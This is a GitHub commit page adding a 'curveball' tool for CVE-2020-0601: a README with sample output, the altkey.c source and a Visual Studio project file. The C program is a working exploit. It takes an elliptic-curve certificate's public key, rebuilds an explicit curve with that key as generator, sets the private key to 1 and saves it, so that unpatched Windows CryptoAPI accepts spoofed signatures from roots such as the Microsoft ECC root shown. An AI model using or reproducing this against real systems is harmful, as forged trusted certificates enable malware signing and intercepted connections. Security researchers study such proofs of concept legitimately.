-
Notifications
You must be signed in to change notification settings - Fork 16
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
e819331
commit 3cdd533
Showing
183 changed files
with
33,887 additions
and
8 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,83 @@ | ||
# curveball | ||
CVE-2020-0601 #curveball - Alternative Key Calculator | ||
|
||
## Usage | ||
|
||
Usage: `altkey ec_public_certificate.pem [ec_new_privatekey.pem]` | ||
|
||
## Example | ||
|
||
``` | ||
C:\security\curveball\Release>altkey ..\public\CACA93B9D23D2B6FA76E8B8471931E0DF3EC6F63AF3CDBB936C41954A1872326.crt myprivate.key | ||
Certificate: | ||
Data: | ||
Serial Number: | ||
14:98:26:66:dc:7c:cd:8f:40:53:67:7b:b9:99:ec:85 | ||
Issuer: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft ECC Product Root Certificate Authority 2018 | ||
Validity | ||
Not Before: Feb 27 20:42:08 2018 GMT | ||
Not After : Feb 27 20:50:46 2043 GMT | ||
Subject: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft ECC Product Root Certificate Authority 2018 | ||
Subject Public Key Info: | ||
Public Key Algorithm: id-ecPublicKey | ||
Public-Key: (384 bit) | ||
pub: | ||
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3: | ||
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab: | ||
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6: | ||
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0: | ||
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e: | ||
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48: | ||
7a:7d:a6:f4:01:07:ac | ||
ASN1 OID: secp384r1 | ||
NIST CURVE: P-384 | ||
Private-Key set to 1 | ||
Private-Key: (384 bit) | ||
priv: | ||
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00: | ||
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00: | ||
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00: | ||
00:00:01 | ||
pub: | ||
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3: | ||
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab: | ||
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6: | ||
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0: | ||
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e: | ||
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48: | ||
7a:7d:a6:f4:01:07:ac | ||
Field Type: prime-field | ||
Prime: | ||
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff: | ||
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff: | ||
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00: | ||
ff:ff:ff:ff | ||
A: | ||
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff: | ||
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff: | ||
ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00: | ||
ff:ff:ff:fc | ||
B: | ||
00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8: | ||
2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50: | ||
13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed: | ||
d3:ec:2a:ef | ||
Generator (uncompressed): | ||
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3: | ||
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab: | ||
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6: | ||
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0: | ||
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e: | ||
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48: | ||
7a:7d:a6:f4:01:07:ac | ||
Order: | ||
00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff: | ||
ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4: | ||
37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a: | ||
cc:c5:29:73 | ||
Cofactor: 1 (0x1) | ||
Seed: | ||
a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4: | ||
82:7a:cd:ac:73 | ||
Private-Key saved to: myprivate.key | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,109 @@ | ||
/* Benjamin DELPY `gentilkiwi` | ||
http://blog.gentilkiwi.com | ||
benjamin@gentilkiwi.com | ||
Licence : https://creativecommons.org/licenses/by/4.0/ | ||
This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/) | ||
*/ | ||
#include <openssl/x509.h> | ||
#include <openssl/pem.h> | ||
#include <openssl/err.h> | ||
|
||
int main(int argc, char *argv[]); | ||
void error(BIO *bOut, const char *src); | ||
EC_GROUP *EC_KEY_get_group_public_point(BIO *bOut, const EC_KEY *p); | ||
|
||
int main(int argc, char *argv[]) | ||
{ | ||
BIO *bCert, *bKey, *bOut; | ||
X509 *xCert; | ||
EVP_PKEY *publicKey; | ||
EC_KEY *ecPublicKey; | ||
EC_GROUP *ecGroup; | ||
char *keyFilename = (argc > 2) ? argv[2] : "ec_new_privatekey.pem"; | ||
|
||
if(bOut = BIO_new_fp(stdout, BIO_NOCLOSE)) | ||
{ | ||
if(argc > 1) | ||
{ | ||
if(bCert = BIO_new(BIO_s_file())) | ||
{ | ||
if(BIO_read_filename(bCert, argv[1])) | ||
{ | ||
if(xCert = PEM_read_bio_X509(bCert, NULL, 0, NULL)) | ||
{ | ||
X509_print_ex(bOut, xCert, 0, X509_FLAG_NO_VERSION | X509_FLAG_NO_SIGNAME | X509_FLAG_NO_EXTENSIONS | X509_FLAG_NO_SIGDUMP | X509_FLAG_NO_EXTENSIONS | X509_FLAG_NO_AUX | X509_FLAG_NO_ATTRIBUTES | X509_FLAG_NO_IDS); | ||
if(publicKey = X509_get0_pubkey(xCert)) | ||
{ | ||
if(EVP_PKEY_id(publicKey) == EVP_PKEY_EC) | ||
{ | ||
if(ecPublicKey = EVP_PKEY_get0_EC_KEY(publicKey)) | ||
{ | ||
if(ecGroup = EC_KEY_get_group_public_point(bOut, ecPublicKey)) | ||
{ | ||
if(EC_KEY_set_group(ecPublicKey, ecGroup)) | ||
{ | ||
if(EC_KEY_set_private_key(ecPublicKey, BN_value_one())) | ||
{ | ||
BIO_printf(bOut, "Private-Key set to 1\n"); | ||
EC_KEY_print(bOut, ecPublicKey, 0); | ||
if(bKey = BIO_new(BIO_s_file())) | ||
{ | ||
if(BIO_write_filename(bKey, keyFilename)) | ||
{ | ||
if(PEM_write_bio_ECPrivateKey(bKey, ecPublicKey, NULL, NULL, 0, NULL, NULL)) | ||
BIO_printf(bOut, "Private-Key saved to: %s\n", keyFilename); | ||
else error(bOut, "PEM_write_bio_ECPrivateKey"); | ||
} | ||
else error(bOut, "BIO_write_filename"); | ||
BIO_free(bKey); | ||
} | ||
else error(bOut, "BIO_new(BIO_s_file()) - bKey"); | ||
} | ||
else error(bOut, "EC_KEY_set_private_key"); | ||
} | ||
else error(bOut, "EC_KEY_set_group"); | ||
EC_GROUP_free(ecGroup); | ||
} | ||
} | ||
else error(bOut, "EVP_PKEY_get0_EC_KEY"); | ||
} | ||
else BIO_printf(bOut, "PublicKey is not EC\n"); | ||
} | ||
else error(bOut, "X509_get0_pubkey"); | ||
X509_free(xCert); | ||
} | ||
else error(bOut, "PEM_read_bio_X509"); | ||
BIO_free(bCert); | ||
} | ||
else error(bOut, "BIO_read_filename"); | ||
} | ||
else error(bOut, "BIO_new(BIO_s_file()) - bCert"); | ||
} | ||
else BIO_printf(bOut, "%s ec_public_certificate.pem [ec_new_privatekey.pem]\n", argv[0]); | ||
BIO_free(bOut); | ||
} | ||
return 0; | ||
} | ||
|
||
void error(BIO *bOut, const char *src) | ||
{ | ||
BIO_printf(bOut, "[ERROR - %s]\n", src); | ||
ERR_print_errors(bOut); | ||
} | ||
|
||
EC_GROUP *EC_KEY_get_group_public_point(BIO *bOut, const EC_KEY *p) | ||
{ | ||
EC_GROUP *ecGroup = NULL; | ||
if(ecGroup = EC_GROUP_dup(EC_KEY_get0_group(p))) | ||
{ | ||
EC_GROUP_set_asn1_flag(ecGroup, OPENSSL_EC_EXPLICIT_CURVE); | ||
if(!EC_GROUP_set_generator(ecGroup, EC_KEY_get0_public_key(p), EC_GROUP_get0_order(EC_KEY_get0_group(p)), EC_GROUP_get0_cofactor(EC_KEY_get0_group(p)))) | ||
{ | ||
error(bOut, "EC_GROUP_set_generator"); | ||
EC_GROUP_free(ecGroup); | ||
ecGroup = NULL; | ||
} | ||
} | ||
else error(bOut, "EC_GROUP_dup"); | ||
return ecGroup; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,175 @@ | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
<ItemGroup Label="ProjectConfigurations"> | ||
<ProjectConfiguration Include="Release|Win32"> | ||
<Configuration>Release</Configuration> | ||
<Platform>Win32</Platform> | ||
</ProjectConfiguration> | ||
</ItemGroup> | ||
<PropertyGroup Label="Globals"> | ||
<ProjectGuid>{4521E166-934F-453E-AF5A-6F202AFC64AE}</ProjectGuid> | ||
<RootNamespace>altkey</RootNamespace> | ||
</PropertyGroup> | ||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> | ||
<ConfigurationType>Application</ConfigurationType> | ||
<UseDebugLibraries>false</UseDebugLibraries> | ||
<PlatformToolset>v110_xp</PlatformToolset> | ||
<WholeProgramOptimization>true</WholeProgramOptimization> | ||
<CharacterSet>NotSet</CharacterSet> | ||
<UseOfMfc>Static</UseOfMfc> | ||
</PropertyGroup> | ||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> | ||
<ImportGroup Label="ExtensionSettings"> | ||
</ImportGroup> | ||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
</ImportGroup> | ||
<PropertyGroup Label="UserMacros" /> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
<IncludePath>$(ProjectDir)include;$(IncludePath)</IncludePath> | ||
<LibraryPath>$(ProjectDir)lib;$(LibraryPath)</LibraryPath> | ||
<GenerateManifest>false</GenerateManifest> | ||
</PropertyGroup> | ||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
<ClCompile> | ||
<WarningLevel>Level3</WarningLevel> | ||
<Optimization>Full</Optimization> | ||
<FunctionLevelLinking>true</FunctionLevelLinking> | ||
<IntrinsicFunctions>true</IntrinsicFunctions> | ||
<SDLCheck>true</SDLCheck> | ||
<AdditionalIncludeDirectories> | ||
</AdditionalIncludeDirectories> | ||
<DebugInformationFormat>None</DebugInformationFormat> | ||
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion> | ||
<PreprocessorDefinitions /> | ||
<ErrorReporting>None</ErrorReporting> | ||
</ClCompile> | ||
<Link> | ||
<GenerateDebugInformation>false</GenerateDebugInformation> | ||
<EnableCOMDATFolding>true</EnableCOMDATFolding> | ||
<OptimizeReferences>true</OptimizeReferences> | ||
<AdditionalDependencies>advapi32.lib;crypt32.lib;ws2_32.lib;libcrypto32MD.lib;%(AdditionalDependencies)</AdditionalDependencies> | ||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries> | ||
<LinkErrorReporting>NoErrorReport</LinkErrorReporting> | ||
</Link> | ||
</ItemDefinitionGroup> | ||
<ItemGroup> | ||
<ClCompile Include="altkey.c" /> | ||
<ClCompile Include="include\openssl\applink.c" /> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<ClInclude Include="include\openssl\aes.h" /> | ||
<ClInclude Include="include\openssl\asn1.h" /> | ||
<ClInclude Include="include\openssl\asn1err.h" /> | ||
<ClInclude Include="include\openssl\asn1t.h" /> | ||
<ClInclude Include="include\openssl\asn1_mac.h" /> | ||
<ClInclude Include="include\openssl\async.h" /> | ||
<ClInclude Include="include\openssl\asyncerr.h" /> | ||
<ClInclude Include="include\openssl\bio.h" /> | ||
<ClInclude Include="include\openssl\bioerr.h" /> | ||
<ClInclude Include="include\openssl\blowfish.h" /> | ||
<ClInclude Include="include\openssl\bn.h" /> | ||
<ClInclude Include="include\openssl\bnerr.h" /> | ||
<ClInclude Include="include\openssl\buffer.h" /> | ||
<ClInclude Include="include\openssl\buffererr.h" /> | ||
<ClInclude Include="include\openssl\camellia.h" /> | ||
<ClInclude Include="include\openssl\cast.h" /> | ||
<ClInclude Include="include\openssl\cmac.h" /> | ||
<ClInclude Include="include\openssl\cms.h" /> | ||
<ClInclude Include="include\openssl\cmserr.h" /> | ||
<ClInclude Include="include\openssl\comp.h" /> | ||
<ClInclude Include="include\openssl\comperr.h" /> | ||
<ClInclude Include="include\openssl\conf.h" /> | ||
<ClInclude Include="include\openssl\conferr.h" /> | ||
<ClInclude Include="include\openssl\conf_api.h" /> | ||
<ClInclude Include="include\openssl\crypto.h" /> | ||
<ClInclude Include="include\openssl\cryptoerr.h" /> | ||
<ClInclude Include="include\openssl\ct.h" /> | ||
<ClInclude Include="include\openssl\cterr.h" /> | ||
<ClInclude Include="include\openssl\des.h" /> | ||
<ClInclude Include="include\openssl\dh.h" /> | ||
<ClInclude Include="include\openssl\dherr.h" /> | ||
<ClInclude Include="include\openssl\dsa.h" /> | ||
<ClInclude Include="include\openssl\dsaerr.h" /> | ||
<ClInclude Include="include\openssl\dtls1.h" /> | ||
<ClInclude Include="include\openssl\ebcdic.h" /> | ||
<ClInclude Include="include\openssl\ec.h" /> | ||
<ClInclude Include="include\openssl\ecdh.h" /> | ||
<ClInclude Include="include\openssl\ecdsa.h" /> | ||
<ClInclude Include="include\openssl\ecerr.h" /> | ||
<ClInclude Include="include\openssl\engine.h" /> | ||
<ClInclude Include="include\openssl\engineerr.h" /> | ||
<ClInclude Include="include\openssl\err.h" /> | ||
<ClInclude Include="include\openssl\evp.h" /> | ||
<ClInclude Include="include\openssl\evperr.h" /> | ||
<ClInclude Include="include\openssl\e_os2.h" /> | ||
<ClInclude Include="include\openssl\hmac.h" /> | ||
<ClInclude Include="include\openssl\idea.h" /> | ||
<ClInclude Include="include\openssl\kdf.h" /> | ||
<ClInclude Include="include\openssl\kdferr.h" /> | ||
<ClInclude Include="include\openssl\lhash.h" /> | ||
<ClInclude Include="include\openssl\md2.h" /> | ||
<ClInclude Include="include\openssl\md4.h" /> | ||
<ClInclude Include="include\openssl\md5.h" /> | ||
<ClInclude Include="include\openssl\mdc2.h" /> | ||
<ClInclude Include="include\openssl\modes.h" /> | ||
<ClInclude Include="include\openssl\objects.h" /> | ||
<ClInclude Include="include\openssl\objectserr.h" /> | ||
<ClInclude Include="include\openssl\obj_mac.h" /> | ||
<ClInclude Include="include\openssl\ocsp.h" /> | ||
<ClInclude Include="include\openssl\ocsperr.h" /> | ||
<ClInclude Include="include\openssl\opensslconf.h" /> | ||
<ClInclude Include="include\openssl\opensslv.h" /> | ||
<ClInclude Include="include\openssl\ossl_typ.h" /> | ||
<ClInclude Include="include\openssl\pem.h" /> | ||
<ClInclude Include="include\openssl\pem2.h" /> | ||
<ClInclude Include="include\openssl\pemerr.h" /> | ||
<ClInclude Include="include\openssl\pkcs12.h" /> | ||
<ClInclude Include="include\openssl\pkcs12err.h" /> | ||
<ClInclude Include="include\openssl\pkcs7.h" /> | ||
<ClInclude Include="include\openssl\pkcs7err.h" /> | ||
<ClInclude Include="include\openssl\rand.h" /> | ||
<ClInclude Include="include\openssl\randerr.h" /> | ||
<ClInclude Include="include\openssl\rand_drbg.h" /> | ||
<ClInclude Include="include\openssl\rc2.h" /> | ||
<ClInclude Include="include\openssl\rc4.h" /> | ||
<ClInclude Include="include\openssl\rc5.h" /> | ||
<ClInclude Include="include\openssl\ripemd.h" /> | ||
<ClInclude Include="include\openssl\rsa.h" /> | ||
<ClInclude Include="include\openssl\rsaerr.h" /> | ||
<ClInclude Include="include\openssl\safestack.h" /> | ||
<ClInclude Include="include\openssl\seed.h" /> | ||
<ClInclude Include="include\openssl\sha.h" /> | ||
<ClInclude Include="include\openssl\srp.h" /> | ||
<ClInclude Include="include\openssl\srtp.h" /> | ||
<ClInclude Include="include\openssl\ssl.h" /> | ||
<ClInclude Include="include\openssl\ssl2.h" /> | ||
<ClInclude Include="include\openssl\ssl3.h" /> | ||
<ClInclude Include="include\openssl\sslerr.h" /> | ||
<ClInclude Include="include\openssl\stack.h" /> | ||
<ClInclude Include="include\openssl\store.h" /> | ||
<ClInclude Include="include\openssl\storeerr.h" /> | ||
<ClInclude Include="include\openssl\symhacks.h" /> | ||
<ClInclude Include="include\openssl\tls1.h" /> | ||
<ClInclude Include="include\openssl\ts.h" /> | ||
<ClInclude Include="include\openssl\tserr.h" /> | ||
<ClInclude Include="include\openssl\txt_db.h" /> | ||
<ClInclude Include="include\openssl\ui.h" /> | ||
<ClInclude Include="include\openssl\uierr.h" /> | ||
<ClInclude Include="include\openssl\whrlpool.h" /> | ||
<ClInclude Include="include\openssl\x509.h" /> | ||
<ClInclude Include="include\openssl\x509err.h" /> | ||
<ClInclude Include="include\openssl\x509v3.h" /> | ||
<ClInclude Include="include\openssl\x509v3err.h" /> | ||
<ClInclude Include="include\openssl\x509_vfy.h" /> | ||
<ClInclude Include="include\openssl\__DECC_INCLUDE_EPILOGUE.H" /> | ||
<ClInclude Include="include\openssl\__DECC_INCLUDE_PROLOGUE.H" /> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<Library Include="lib\libcrypto32MD.lib" /> | ||
</ItemGroup> | ||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> | ||
<ImportGroup Label="ExtensionTargets"> | ||
</ImportGroup> | ||
</Project> |
Oops, something went wrong.